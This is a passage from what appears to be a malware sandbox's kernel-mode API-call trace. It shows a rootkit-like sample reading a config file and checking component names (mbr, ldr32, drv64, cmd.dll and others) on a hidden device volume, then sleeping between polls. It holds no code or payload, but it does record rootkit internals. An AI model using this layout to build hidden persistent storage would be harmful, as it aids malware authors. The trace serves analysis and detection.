(Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.502] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.502] KeEnterCriticalRegion () [0123.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.502] ExFreePoolWithTag (P=0xfffffa8003becfb0, Tag=0x0) [0123.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.502] KeLeaveCriticalRegion () [0123.502] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.502] ReleaseMutex (hMutex=0xf0) returned 1 [0123.502] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.502] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.502] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.502] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.502] KeEnterCriticalRegion () [0123.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.502] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.502] IdePortDispatch () returned 0x103 [0123.502] KeWaitForMutexObject () returned 0x0 [0123.502] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.502] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.502] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.502] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.502] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.502] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.502] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.502] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.502] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.502] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.503] KeLeaveCriticalRegion () [0123.503] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.503] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.503] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.503] KeEnterCriticalRegion () [0123.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.503] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.503] IdePortDispatch () returned 0x103 [0123.503] KeWaitForMutexObject () returned 0x0 [0123.503] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.503] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.503] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.503] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.503] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.503] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.503] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.503] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.503] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.503] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.503] KeLeaveCriticalRegion () [0123.503] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.503] ReleaseMutex (hMutex=0x100) returned 1 [0123.503] Sleep (dwMilliseconds=0x2bf20) [0123.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ccf7db0, dwHighDateTime=0x1d24fa4)) [0123.510] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.510] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.510] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.510] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.510] KeEnterCriticalRegion () [0123.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.510] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.510] IdePortDispatch () returned 0x103 [0123.511] KeWaitForMutexObject () returned 0x0 [0123.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.511] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.511] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.511] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.511] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.511] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becfb0 [0123.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.511] KeLeaveCriticalRegion () [0123.511] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.511] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.511] KeEnterCriticalRegion () [0123.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.511] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.511] KeLeaveCriticalRegion () [0123.511] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.511] KeEnterCriticalRegion () [0123.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.511] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.511] IdePortDispatch () returned 0x103 [0123.511] KeWaitForMutexObject () returned 0x0 [0123.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.512] KeLeaveCriticalRegion () [0123.512] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.512] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.512] KeEnterCriticalRegion () [0123.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.512] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c3000 [0123.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.512] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.512] IdePortDispatch () returned 0x103 [0123.512] KeWaitForMutexObject () returned 0x0 [0123.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.512] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.512] IdePortDispatch () returned 0x103 [0123.512] KeWaitForMutexObject () returned 0x0 [0123.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.513] KeLeaveCriticalRegion () [0123.513] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.513] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.513] KeEnterCriticalRegion () [0123.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.513] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.513] KeLeaveCriticalRegion () [0123.513] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.513] KeEnterCriticalRegion () [0123.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.513] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.513] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003becbd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.513] KeLeaveCriticalRegion () [0123.513] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.513] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.513] KeEnterCriticalRegion () [0123.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.513] ExFreePoolWithTag (P=0xfffffa8003becfb0, Tag=0x0) [0123.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.513] KeLeaveCriticalRegion () [0123.513] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.513] ReleaseMutex (hMutex=0xf0) returned 1 [0123.513] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.513] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.513] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.514] KeEnterCriticalRegion () [0123.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.514] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.514] IdePortDispatch () returned 0x103 [0123.514] KeWaitForMutexObject () returned 0x0 [0123.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.514] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.514] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.514] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.514] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.514] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea130 [0123.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.514] KeLeaveCriticalRegion () [0123.514] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.514] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.514] KeEnterCriticalRegion () [0123.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.514] KeLeaveCriticalRegion () [0123.514] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.514] KeEnterCriticalRegion () [0123.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.514] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.514] IdePortDispatch () returned 0x103 [0123.514] KeWaitForMutexObject () returned 0x0 [0123.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.515] KeLeaveCriticalRegion () [0123.515] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.515] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.515] KeEnterCriticalRegion () [0123.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.515] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c4000 [0123.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.515] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.515] IdePortDispatch () returned 0x103 [0123.515] KeWaitForMutexObject () returned 0x0 [0123.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.515] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.515] IdePortDispatch () returned 0x103 [0123.515] KeWaitForMutexObject () returned 0x0 [0123.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.515] KeLeaveCriticalRegion () [0123.515] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.516] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.516] KeEnterCriticalRegion () [0123.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.516] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.516] KeLeaveCriticalRegion () [0123.516] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.516] KeEnterCriticalRegion () [0123.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.516] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.516] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.516] KeLeaveCriticalRegion () [0123.516] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.516] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.516] KeEnterCriticalRegion () [0123.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.516] ExFreePoolWithTag (P=0xfffffa8003bea130, Tag=0x0) [0123.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.516] KeLeaveCriticalRegion () [0123.516] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.516] ReleaseMutex (hMutex=0xf0) returned 1 [0123.516] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.516] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.516] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.516] KeEnterCriticalRegion () [0123.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.516] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.516] IdePortDispatch () returned 0x103 [0123.516] KeWaitForMutexObject () returned 0x0 [0123.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.517] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.517] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.517] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.517] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.517] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb540 [0123.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.517] KeLeaveCriticalRegion () [0123.517] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.517] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.517] KeEnterCriticalRegion () [0123.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.517] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.517] KeLeaveCriticalRegion () [0123.517] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.517] KeEnterCriticalRegion () [0123.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.517] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.517] IdePortDispatch () returned 0x103 [0123.517] KeWaitForMutexObject () returned 0x0 [0123.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.517] KeLeaveCriticalRegion () [0123.517] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.517] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.517] KeEnterCriticalRegion () [0123.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.518] 